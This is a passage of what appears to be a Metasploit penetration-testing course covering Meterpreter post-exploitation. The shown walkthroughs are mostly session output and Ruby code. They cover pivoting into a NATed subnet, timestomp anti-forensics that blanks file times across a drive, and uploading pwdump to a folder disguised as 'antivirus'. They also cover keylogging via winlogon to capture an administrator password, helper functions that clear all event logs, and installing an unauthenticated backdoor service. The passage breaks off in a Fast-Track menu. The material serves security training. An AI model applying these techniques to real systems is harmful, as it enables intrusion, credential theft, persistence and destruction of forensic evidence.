Starting interaction with 2... Process 3864 created. C:\WINDOWS\system32> ipconfig ipconfig Windows IP Configuration Ethernet adapter Local Area Connection 6: Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 10.211.55.128 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.211.55.2 Success! We have successfully routed our exploit to the 10.211.55.0/24 network and successfully compromised hosts inside the normally non-routable network! We now have full access to both 10.211.55.140 and 10.211.55.128! If you notice it says that 10.10.1.109 is connected to 10.10.1.104, note that we did a reverse payload and that 10.10.1.104 is the external IP address. The 10.211.55.128 and 10.211.55.140 are NATed behind the router 10.10.1.104. TimeStomp Interacting with most file systems is like walking in the snow...you will leave footprints. How detailed those footprints are, how much can be learned from them, and how long they last all depends on various circumstances. The art of analyzing these artifacts is digital forensics. For various reasons, when conducting a pen test you may want to make it hard for a forensic analyst to determine the actions that you took. The best way to avoid detection by a forensic investigation is simple: Don't touch the filesystem! This is one of the beautiful things about meterpreter, it loads into memory without writing anything to disk, greatly minimizing the artifacts it leaves on a system. However, in many cases you may have to interact with the file system in some way. In those cases timestomp can be a great tool. Lets look at a file on the system, and the MAC (Modified, Accessed, Changed) times of the file: File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt Created Date: 5/3/2009 2:30:08 AM Last Accessed: 5/3/2009 2:31:39 AM Last Modified: 5/3/2009 2:30:36 AM We will now start by exploiting the system, and loading up a meterpreter session. After that, we will load the timestomp module, and take a quick look at the file in question. [*] meterpreter session 1 opened (172.16.104.130:4444 -> 172.16.104.145:1218) meterpreter > timestomp -h Usage: timestomp file_path OPTIONS -a Set the "last accessed" time of the file -b Set the MACE timestamps so that EnCase shows blanks -c Set the "creation" time of the file -e Set the "mft entry modified" time of the file -f Set the MACE of attributes equal to the supplied file -h Help banner -m Set the "last written" time of the file -r Set the MACE timestamps recursively on a directory -v Display the UTC MACE values of the file -z Set all four attributes (MACE) of the file meterpreter > pwd C:\Program Files\War-ftpd meterpreter > cd .. C:Program Files meterpreter > cd Documents\ and\ Settings meterpreter > cd P0WN3D meterpreter > cd My\ Documents meterpreter > ls Listing: C:\Documents and Settings\P0WN3D\My Documents ====================================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 .. 40555/r-xr-xr-x 0 dir Wed Dec 31 19:00:00 -0500 1969 My Pictures 100666/rw-rw-rw- 28 fil Wed Dec 31 19:00:00 -0500 1969 test.txt meterpreter > timestomp test.txt -v Modified : Sun May 03 04:30:36 -0400 2009 Accessed : Sun May 03 04:31:51 -0400 2009 Created : Sun May 03 04:30:08 -0400 2009 Entry Modified: Sun May 03 04:31:44 -0400 2009 Now, lets look at the MAC times displayed. We see that the file was created recently. Lets pretend for a minute that this is a super secret tool that we need to hide. One way to do this might be to set the MAC times to match the MAC times of another file on the system. Lets copy the MAC times from cmd.exe to test.txt to make it blend in a little better. meterpreter > timestomp test.txt -f C:\WINNT\system32\cmd.exe [*] Setting MACE attributes on test.txt from C:\WINNT\system32\cmd.exe Modified : Tue Dec 07 08:00:00 -0500 1999 Accessed : Sun May 03 05:14:51 -0400 2009 Created : Tue Dec 07 08:00:00 -0500 1999 Entry Modified: Sun May 03 05:11:16 -0400 2009 There we go! Now it looks as if the text.txt file was created on Dec 7th, 1999. Lets see how it looks from Windows. Created Date: 12/7/1999 7:00:00 AM Last Accessed: 5/3/2009 3:11:16 AM Last Modified: 12/7/1999 7:00:00 AM Success! Notice there is some slight differences between the times through Windows and msf. This is due to the way the timezones are displayed. Windows is displaying the time in -0600, while msf shows the MC times as -0500. When adjusted for the time zone differences, we can see that they match. Also notice that the act of checking the files information within Windows altered the last accessed time. This just goes to show how fragile MAC times can be, and why great care has to be taken when interacting with them. Lets now make a different change. Where in the previous example, we were looking to make the changes blend in. In some cases, this is just not realistic, and the best you can hope for is to make it harder for an investigator to identify when changes actually occurred. For those situations, timestomp has a great option (-b for blank) where it zeros out the MAC times for a file. Lets take a look. Accessed : Sun May 03 05:16:20 -0400 2009 meterpreter > timestomp test.txt -b [*] Blanking file MACE attributes on test.txt [-] Error running command timestomp: Invalid MACE values /pentest/exploits/framework3/lib/rex/post/meterpreter/extensions/priv/fs.rb:45:in `get_file_mace'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb:91:in `cmd_timestomp'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:63:in `parse'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:53:in `each_pair'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:53:in `parse'/pentest/exploits/framework3/lib/rex/post/meterpreter/packet_dispatcher.rb:78:in `each_with_index'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:44:in `each'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:44:in `each_with_index'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:44:in `parse'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb:65:in `cmd_timestomp'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console.rb:94:in `run_command'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console.rb:60:in `interact'/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:123:in `call'/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:123:in `run'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console.rb:58:in `interact'/pentest/exploits/framework3/lib/msf/base/sessions/meterpreter.rb:181:in `_interact'/pentest/exploits/framework3/lib/rex/ui/interactive.rb:48:in `interact'/pentest/exploits/framework3/lib/msf/ui/console/command_dispatcher/core.rb:997:in `cmd_sessions'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/pentest/exploits/framework3/lib/msf/ui/console/command_dispatcher/exploit.rb:143:in `cmd_exploit'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:127:in `run'./msfconsole:82 That error message is a good thing! After zeroing out the MAC times, timestomp could not parse the MAC entries properly afterward. This is very interesting, as some poorly written forensic tools have the same problem, and will crash when coming across entries like this. Lets see how the file looks in Windows. Created Date: 1/1/1601 Last Accessed: 5/3/2009 3:21:13 AM Last Modified: 1/1/1601 Very interesting! Notice that times are no longer displayed, and the data is set to Jan 1, 1601. Any idea why that might be the case? (Hint: http://en.wikipedia.org/wiki/1601#Notes) meterpreter > cd C:\\WINNT meterpreter > mkdir antivirus Creating directory: antivirus meterpreter > cd antivirus C:\WINNT\antivirus meterpreter > upload /pentest/windows-binaries/passwd-attack/pwdump6 c:\\WINNT\\antivirus\\ [*] uploading : /pentest/windows-binaries/passwd-attack/pwdump6/PwDump.exe -> c:WINNTantivirusPwDump.exe [*] uploaded : /pentest/windows-binaries/passwd-attack/pwdump6/PwDump.exe -> c:WINNTantivirusPwDump.exe [*] uploading : /pentest/windows-binaries/passwd-attack/pwdump6/LsaExt.dll -> c:WINNTantivirusLsaExt.dll [*] uploaded : /pentest/windows-binaries/passwd-attack/pwdump6/LsaExt.dll -> c:WINNTantivirusLsaExt.dll [*] uploading : /pentest/windows-binaries/passwd-attack/pwdump6/pwservice.exe -> c:WINNTantiviruspwservice.exe [*] uploaded : /pentest/windows-binaries/passwd-attack/pwdump6/pwservice.exe -> c:WINNTantiviruspwservice.exe Listing: C:\WINNT\antivirus =========================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 .. 100666/rw-rw-rw- 61440 fil Wed Dec 31 19:00:00 -0500 1969 LsaExt.dll 100777/rwxrwxrwx 188416 fil Wed Dec 31 19:00:00 -0500 1969 PwDump.exe 100777/rwxrwxrwx 45056 fil Wed Dec 31 19:00:00 -0500 1969 pwservice.exe 100666/rw-rw-rw- 27 fil Wed Dec 31 19:00:00 -0500 1969 sample.txt With our files uploaded, we will now run timestomp on the files to confuse any potential investigator. meterpreter > timestomp antiviruspwdump.exe -v Modified : Sun May 03 05:35:56 -0400 2009 Accessed : Sun May 03 05:35:56 -0400 2009 Created : Sun May 03 05:35:56 -0400 2009 Entry Modified: Sun May 03 05:35:56 -0400 2009 meterpreter > timestomp antivirusLsaExt.dll -v meterpreter > timestomp antivirus -r [*] Blanking directory MACE attributes on antivirus [-] Error running command ls: bignum too big to convert into `long' /pentest/exploits/framework3/lib/rex/post/file_stat.rb:66:in `at'/pentest/exploits/framework3/lib/rex/post/file_stat.rb:66:in `mtime'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:237:in `cmd_ls'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:230:in `each'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:230:in `cmd_ls'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/pentest/exploits/framework3/lib/rex/post/meterpreter As you can see, meterpreter can no longer get a proper directory listing. However, there is something to consider in this case. We have hidden when an action occurred, yet it will still be very obvious to an investigator where activity was happening. What would we do if we wanted to hide both when a toolkit was uploaded, and where it was uploaded? The easiest way to approach this is to zero out the times on the full drive. This will make the job of the investigator very difficult, as traditional time line analysis will not be possible. Lets first look at our WINNTsystem32 directory. Ok, everything looks normal. Now, lets shake the filesystem up really bad! C:WINNTantivirus meterpreter > cd ../.. C: Listing: C:\ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100777/rwxrwxrwx 0 fil Wed Dec 31 19:00:00 -0500 1969 AUTOEXEC.BAT 100666/rw-rw-rw- 0 fil Wed Dec 31 19:00:00 -0500 1969 CONFIG.SYS 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 Documents and Settings 100444/r--r--r-- 0 fil Wed Dec 31 19:00:00 -0500 1969 IO.SYS 100444/r--r--r-- 0 fil Wed Dec 31 19:00:00 -0500 1969 MSDOS.SYS 100555/r-xr-xr-x 34468 fil Wed Dec 31 19:00:00 -0500 1969 NTDETECT.COM 40555/r-xr-xr-x 0 dir Wed Dec 31 19:00:00 -0500 1969 Program Files 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 RECYCLER 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 System Volume Information 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 WINNT 100555/r-xr-xr-x 148992 fil Wed Dec 31 19:00:00 -0500 1969 arcldr.exe 100555/r-xr-xr-x 162816 fil Wed Dec 31 19:00:00 -0500 1969 arcsetup.exe 100666/rw-rw-rw- 192 fil Wed Dec 31 19:00:00 -0500 1969 boot.ini 100444/r--r--r-- 214416 fil Wed Dec 31 19:00:00 -0500 1969 ntldr 100666/rw-rw-rw- 402653184 fil Wed Dec 31 19:00:00 -0500 1969 pagefile.sys meterpreter > timestomp C:\ -r [*] Blanking directory MACE attributes on C:\ [-] Error running command ls: bignum too big to convert into `long' /pentest/exploits/framework3/lib/rex/post/file_stat.rb:66:in `at'/pentest/exploits/framework3/lib/rex /post/file_stat.rb:66:in `mtime'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:237:in /lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:127:in `run'./msfconsole:82 So, after that what does Windows see? Amazing. Windows has no idea what is going on, and displays crazy times all over the place. Don't get overconfident however. By taking this action, you have also made it very obvious that some adverse activity has occurred on the system. Also, there are many different sources of time-line information on a Windows system other then just MAC times. If a forensic investigator came across a system which has been modified in this manner, they will be running to these alternative information sources. However, the cost of conducting the investigation just went up. Useful API Calls We will cover some common API calls for scripting the Meterpreter and write a script using some of these API calls. For further API calls and examples, look at the Command Dispacher code and the REX documentation that was mentioned earlier. For this, it is easiest for us to use the irb shell which can be used to run API calls directly and see what is returned by these calls. We get into the irb by running the 'irb' command from the Meterpreter shell. >> We will start with calls for gathering information on the target. Let's get the machine name of the target host. The API call for this is 'client.sys.config.sysinfo' >> client.sys.config.sysinfo => {"OS"=>"Windows XP (Build 2600, Service Pack 3).", "Computer"=>"WINXPVM01"} As we can see in irb, a series of values were returned. If we want to know the type of values returned, we can use the class object to learn what is returned: >> client.sys.config.sysinfo.class => Hash We can see that we got a hash, so we can call elements of this hash through its key. Let's say we want the OS version only: >> client.sys.config.sysinfo['OS'] => "Windows XP (Build 2600, Service Pack 3)." Now let's get the credentials under which the payload is running. For this, we use the 'client.sys.config.getuid' API call: >> client.sys.config.getuid => "WINXPVM01\labuser" To get the process ID under which the session is running, we use the 'client.sys.process.getpid' call which can be used for determining what process the session is running under: >> client.sys.process.getpid => 684 We can use API calls under 'client.sys.net' to gather information about the network configuration and environment in the target host. To get a list of interfaces and their configuration we use the API call 'client.net.config.interfaces': >> client.net.config.interfaces => [#, #] >> client.net.config.interfaces.class => Array As we can see it returns an array of objects that are of type Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface that represents each of the interfaces. We can iterate through this array of objects and get what is called a pretty output of each one of the interfaces like this: >> interfaces = client.net.config.interfaces => [#, #] >> interfaces.each do |i| ?> puts i.pretty >> end MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport Hardware MAC: 00:0c:29:dc:aa:e4 IP Address : 192.168.1.104 Netmask : 255.255.255.0 Maintaining Access After successfully compromising a host, if the rules of engagement permit it, it is frequently a good idea to ensure that you will be able to maintain your access for further examination or penetration of the target network. This also ensures that you will be able to reconnect to your victim if you are using a one-off exploit or crash a service on the target. In situations like these, you may not be able to regain access again until a reboot of the target is preformed. Once you have gained access to one system, you can ultimately gain access to the systems that share the same subnet. Pivoting from one system to another, gaining information about the users activities by monitoring their keystrokes, and impersonating users with captured tokens are just a few of the techniques we will describe further in this module. Keylogging After you have exploited a system there are two different approaches you can take, either smash and grab or low and slow. Low and slow can lead to a ton of great information, if you have the patience and discipline. One tool you can use for low and slow information gathering is the keystroke logger script with Meterpreter. This tool is very well designed, allowing you to capture all keyboard input from the system, without writing anything to disk, leaving a minimal forensic footprint for investigators to later follow up on. Perfect for getting passwords, user accounts, and all sorts of other valuable information. Lets take a look at it in action. First, we will exploit a system as normal. [*] Meterpreter session 4 opened (172.16.104.130:4444 -> 172.16.104.145:1246) Then, we will migrate Meterpreter to the Explorer.exe process so that we don't have to worry about the exploited process getting reset and closing our session. PID Name Path --- ---- ---- 140 smss.exe \SystemRoot\System32\smss.exe 188 winlogon.exe ??\C:\WINNT\system32\winlogon.exe 216 services.exe C:\WINNT\system32\services.exe 228 lsass.exe C:\WINNT\system32\lsass.exe 380 svchost.exe C:\WINNT\system32\svchost.exe 408 spoolsv.exe C:\WINNT\system32\spoolsv.exe 444 svchost.exe C:\WINNT\System32\svchost.exe 480 regsvc.exe C:\WINNT\system32\regsvc.exe 500 MSTask.exe C:\WINNT\system32\MSTask.exe 528 VMwareService.exe C:\Program Files\VMwareVMware Tools\VMwareService.exe 588 WinMgmt.exe C:\WINNT\System32\WBEMWinMgmt.exe 664 notepad.exe C:\WINNT\System32\notepad.exe 724 cmd.exe C:\WINNT\System32\cmd.exe 768 Explorer.exe C:\WINNT\Explorer.exe 800 war-ftpd.exe C:\Program Files\War-ftpd\war-ftpd.exe 888 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 896 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe 940 firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe 972 TPAutoConnSvc.exe C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe 1088 TPAutoConnect.exe C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe meterpreter > migrate 768 [*] Migrating to 768... meterpreter > getpid Current pid: 768 Finally, we start the keylogger, wait for some time and dump the output. tgoogle.cm my credit amex myusernamthi amexpasswordpassword Could not be easier! Notice how keystrokes such as control and backspace are represented. As an added bonus, if you want to capture system login information you would just migrate to the winlogon process. This will capture the credentials of all users logging into the system as long as this is running. ================= PID Name Path --- ---- ---- 401 winlogon.exe C:\WINNT\system32\winlogon.exe meterpreter > migrate 401 [*] Migrating to 401... **** A few minutes later after an admin logs in **** Administrator ohnoes1vebeenh4x0red! Here we can see by logging to the winlogon process allows us to effectively harvest all users logging into that system and capture it. We have captured the Administrator logging in with a password of 'ohnoes1vebeenh4x0red!'. Useful Functions Let's look at a few other functions which could be useful in building a Meterpreter script. Feel free to reuse these as needed. Function for executing a list of commands or a single command and returns the output: #------------------------------------------------------------------------------- def list_exec(session,cmdlst) if cmdlst.kind_of? String cmdlst = cmdlst.to_a begin print_status "trunning command #{cmd}" r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) print_status("t#{d}") r.channel.close r.close rescue ::Exception => e print_error("Error Running Command #{cmd}: #{e.class} #{e}") Function for Checking for UAC: def checkuac(session) uac = false winversion = session.sys.config.sysinfo if winversion['OS']=~ /Windows Vista/ or winversion['OS']=~ /Windows 7/ print_status("Checking if UAC is enaled ...") key = 'HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem' root_key, base_key = session.sys.registry.splitkey(key) value = "EnableLUA" open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) v = open_key.query_value(value) if v.data == 1 uac = true else uac = false open_key.close_key(key) print_status("Error Checking UAC: #{e.class} #{e}") return uac Function for uploading files and executables def upload(session,file,trgloc = nil) if not ::File.exists?(file) raise "File to Upload does not exists!" else if trgloc == nil location = session.fs.file.expand_path("%TEMP%") location = trgloc if file =~ /S*(.exe)/i fileontrgt = "#{location}svhost#{rand(100)}.exe" fileontrgt = "#{location}TMP#{rand(100)}" print_status("Uploadingd #{file}....") session.fs.file.upload_file("#{fileontrgt}","#{file}") print_status("#{file} uploaded!") print_status("#{fileontrgt}") print_status("Error uploading file #{file}: #{e.class} #{e}") return fileontrgt Function for running a list of WMIC commands stored in a array, returns string def wmicexec(session,wmiccmds= nil) windr = '' tmpout = '' windrtmp = "" session.response_timeout=120 tmp = session.fs.file.expand_path("%TEMP%") wmicfl = tmp + ""+ sprintf("%.5d",rand(100000)) wmiccmds.each do |wmi| print_status "running command wmic #{wmi}" cmd = "cmd.exe /c %SYSTEMROOT%system32wbemwmic.exe" opt = "/append:#{wmicfl} #{wmi}" r = session.sys.process.execute( cmd, opt,{'Hidden' => true}) sleep(2) #Making sure that wmic finnishes before executing next wmic command prog2check = "wmic.exe" found = 0 while found == 0 session.sys.process.get_processes().each do |x| found =1 if prog2check == (x['name'].downcase) sleep(0.5) print_line "." found = 0 end end end r.close # Read the output file of the wmic commands wmioutfile = session.fs.file.new(wmicfl, "rb") until wmioutfile.eof? tmpout << wmioutfile.read wmioutfile.close print_status("Error running WMIC commands: #{e.class} #{e}") # We delete the file with the wmic command output. c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) c.close tmpout Function for writing data to a file: #----------------------------------------------------- def filewrt(file2wrt, data2wrt) output = ::File.open(file2wrt, "a") data2wrt.each_line do |d| output.puts(d) output.close Function for clearing all event logs: def clrevtlgs(session) evtlogs = [ 'security', 'system', 'application', 'directory service', 'dns server', 'file replication service' ] print_status("Clearing Event Logs, this will leave and event 517") evtlogs.each do |evl| print_status("tClearing the #{evl} Event Log") log = session.sys.eventlog.open(evl) log.clear print_status("Alll Event Logs have been cleared") print_status("Error clearing Event Log: #{e.class} #{e}") Function for Changing Access Time, Modified Time and Created Time of Files Supplied in an Array: # The files have to be in %WinDir%System32 folder. def chmace(session,cmds) windir = '' windrtmp = "" print_status("Changing Access Time, Modified Time and Created Time of Files Used") windir = session.fs.file.expand_path("%WinDir%") cmds.each do |c| session.core.use("priv") filetostomp = windir + "system32"+ c fl2clone = windir + "system32chkdsk.exe" print_status("tChanging file MACE attributes on #{filetostomp}") session.priv.fs.set_file_mace_from_file(filetostomp, fl2clone) print_status("Error changing MACE: #{e.class} #{e}") Meterpreter Backdoor Service After going through all the hard work of exploiting a system, it's often a good idea to leave yourself an easier way back into the system later. This way, if the service you exploited is down or patched, you can still gain access to the system. This is where Alexander Sotirov's 'metsvc' comes in handy and was recently added to the Metasploit trunk. To read about the original implementation of metsvc, go to http://www.phreedom.org/software/metsvc/. Using this backdoor, you can gain a Meterpreter shell at any point. One word of warning here before we go any further. Metsvc as shown here requires no authentication. This means that anyone that gains access to the port could access your back door! This is not a good thing if you are conducting a penetration test, as this could be a significant risk. In a real world situation, you would either alter the source to require authentication, or filter out remote connections to the port through some other method. First, we exploit the remote system and migrate to the 'Explorer.exe' process in case the user notices the exploited service is not responding and decides to kill it. msf exploit(3proxy) > exploit [*] Trying target Windows XP SP2 - English... [*] Sending stage (719360 bytes) [*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.104:1983) PID Name Path --- ---- ---- 132 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe 176 svchost.exe C:\WINDOWS\system32\svchost.exe 440 VMwareService.exe C:\Program Files\VMware\VMware Tools\VMwareService.exe 632 Explorer.EXE C:\WINDOWS\Explorer.EXE 796 smss.exe \SystemRoot\System32\smss.exe 836 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 844 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe 884 csrss.exe \??\C:\WINDOWS\system32\csrss.exe 908 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe 952 services.exe C:\WINDOWS\system32\services.exe 964 lsass.exe C:\WINDOWS\system32\lsass.exe 1120 vmacthlp.exe C:\Program Files\VMware\VMware Tools\vmacthlp.exe 1136 svchost.exe C:\WINDOWS\system32\svchost.exe 1236 svchost.exe C:\WINDOWS\system32\svchost.exe 1560 alg.exe C:\WINDOWS\System32\alg.exe 1568 WZCSLDR2.exe C:\Program Files\ANI\ANIWZCS2 Service\WZCSLDR2.exe 1596 jusched.exe C:\Program Files\Java\jre6\bin\jusched.exe 1656 msmsgs.exe C:\Program Files\Messenger\msmsgs.exe 1748 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe 1928 jqs.exe C:\Program Files\Java\jre6\bin\jqs.exe 2028 snmp.exe C:\WINDOWS\System32\snmp.exe 2840 3proxy.exe C:\3proxy\bin\3proxy.exe 3000 mmc.exe C:\WINDOWS\system32\mmc.exe meterpreter > migrate 632 [*] Migrating to 632... Before installing metsvc, let's see what options are available to us. meterpreter > run metsvc -h [*] -A Automatically start a matching multi/handler to connect to the service -h This help menu -r Uninstall an existing Meterpreter service (files must be deleted manually) Since we're already connected via a Meterpreter session, we won't set it to connect back to us right away. We'll just install the service for now. meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\DOCUME~1\victim\LOCALS~1\Temp\JplTpVnksh... [*] >> Uploading metsrv.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... [*] * Installing service metsvc * Starting service Service metsvc successfully installed. And there we go! The service is now installed and waiting for a connection. Let's not keep it waiting long shall we? Interacting with Metsvc We will now use the multi/handler with a payload of 'windows/metsvc_bind_tcp' to connect to the remote system. This is a special payload, as typically a Meterpreter payload is multistage, where a minimal amount of code is sent as part of the exploit, and then more is uploaded after code execution has been accomplished. Think of a shuttle rocket, and the booster rockets that are utilized to get the space shuttle into orbit. This is much the same, except instead of extra items being there and then dropping off, Meterpreter starts as small as possible, then adds on. In this case however, the full Meterpreter code has already been uploaded to the remote machine, and there is no need for a staged connection. We set all of our options for 'metsvc_bind_tcp' with the victim's IP address and the port we wish to have the service connect to on our machine. We then run the exploit. msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp PAYLOAD => windows/metsvc_bind_tcp msf exploit(handler) > set RHOST 192.168.1.104 RHOST => 192.168.1.104 Payload options (windows/metsvc_bind_tcp): LPORT 31337 yes The local port RHOST 192.168.1.104 no The target address Immediately after issuing 'exploit', our metsvc backdoor connects back to us. [*] Meterpreter session 2 opened (192.168.1.101:60840 -> 192.168.1.104:31337) PID Name Path --- ---- ---- 140 smss.exe \SystemRoot\System32\smss.exe 168 csrss.exe \??\C:\WINNT\system32\csrss.exe 188 winlogon.exe \??\C:WINNT\system32\winlogon.exe 216 services.exe C:\WINNT\system32\services.exe 228 lsass.exe C:\WINNT\system32\lsass.exe 380 svchost.exe C:\WINNT\system32\svchost.exe 408 spoolsv.exe C:\WINNT\system32\spoolsv.exe 444 svchost.exe C:\WINNT\System32\svchost.exe 480 regsvc.exe C:\WINNT\system32\regsvc.exe 500 MSTask.exe C:\WINNT\system32\MSTask.exe 528 VMwareService.exe C:\Program Files\VMware\VMware Tools\VMwareService.exe 564 metsvc.exe c:\WINNT\my\metsvc.exe 588 WinMgmt.exe C:\WINNT\System32\WBEM\WinMgmt.exe 676 cmd.exe C:\WINNT\System32\cmd.exe 724 cmd.exe C:\WINNT\System32\cmd.exe 764 mmc.exe C:\WINNT\system32\mmc.exe 816 metsvc-server.exe c:\WINNT\my\metsvc-server.exe 888 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 896 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe 940 firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe 972 TPAutoConnSvc.exe C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe 1000 Explorer.exe C:\WINNT\Explorer.exe 1088 TPAutoConnect.exe C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe C:\WINDOWS\system32 And here we have a typical Meterpreter session! Again, be careful with when and how you use this trick. System owners will not be happy if you make an attackers job easier for them by placing such a useful backdoor on the system for them. Fast-Track Fast-Track is a python based open-source project aimed at helping penetration testers in an effort to identify, exploit, and further penetrate a network. Fast-Track was originally conceived when David Kennedy (rel1k) was on a penetration test and found that there was generally a lack of tools or automation in certain attacks that were normally extremely advanced and time consuming. In an effort to reproduce some of his advanced attacks and propagate it down to his team, he ended up writing Fast-Track for the public. Fast-Track arms the penetration tester with advanced attacks that in most cases have never been performed before. Sit back relax, crank open a can of Jolt Cola and enjoy the ride. Fast-Track utilizes large portions of the Metasploit Framework in order to complete successful attacks. Fast-Track has a wide variety of unique attacks that allow you to utilize the Metasploit Framework to its maximum potential. We thought that showing the different attacks and how Fast-Track integrates with the Metasploit Framework was an excellent addition and complement to the course. Let's walk through Fast-Track. Fast Track Modes Fast-Track can be used in three different modes: command line, interactive mode, and web interface. Let's look at each one. The command-line mode can be launched by running './fast-track -c' from the installation directory which, on back|track, is located in '/pentest/exploits/fasttrack/'. root@bt4:/pentest/exploits/fasttrack# ./fast-track.py -c ---------------------------------------------------------------- Fast-Track v4.0 - Where it's OK to finish in under 3 minutes... Automated Penetration Testing Written by David Kennedy (ReL1K) SecureState http://www.securestate.com dkennedy@securestate.com Wiki and Bug Track: http://www.thepentest.com Please read the README and LICENSE before using this tool for acceptable use and modifications. Modes: Interactive Menu Driven Mode: -i Command Line Mode: -c Web GUI Mode -g Examples: ./fast-track.py -i ./fast-track.py -c ./fast-track.py -g Usage: ./fast-track.py ************************************************************************ Fast-Track Command Line - Where it's OK to finish in under 3 minutes... **** MAKE SURE YOU INSTALL ALL THE DEPENDENCIES FIRST (setup.py) **** Visit http://trac.thepentest.com for tutorials or to file a bug. 1. Update Menu 2. Autopwn Automated 3. MS-SQL Injector 4. MS-SQL Bruter 5. Binary to Hex Payload Generator 6. Mass Client-Side Attack 7. Exploits 8. SQLPwnage 9. Payload Generator 10. Changelog 11. Credits 12. About Usage: fast-track.py -c Interactive mode can be launched by passing the '-i' switch to Fast Track. root@bt4:/pentest/exploits/fasttrack# ./fast-track.py -i *********************************************** ******* Performing dependency checks... ******* *** FreeTDS and PYMMSQL are installed. (Check) *** *** PExpect is installed. (Check) *** *** ClientForm is installed. (Check) *** *** Psyco is installed. (Check) *** *** Beautiful Soup is installed. (Check) *** *** PyMills is installed. (Check) *** Also ensure ProFTP, WinEXE, and SQLite3 is installed from the Updates/Installation menu. Your system has all requirements needed to run Fast-Track! Fast-Track Main Menu: Fast-Track - Where it's OK to finish in under 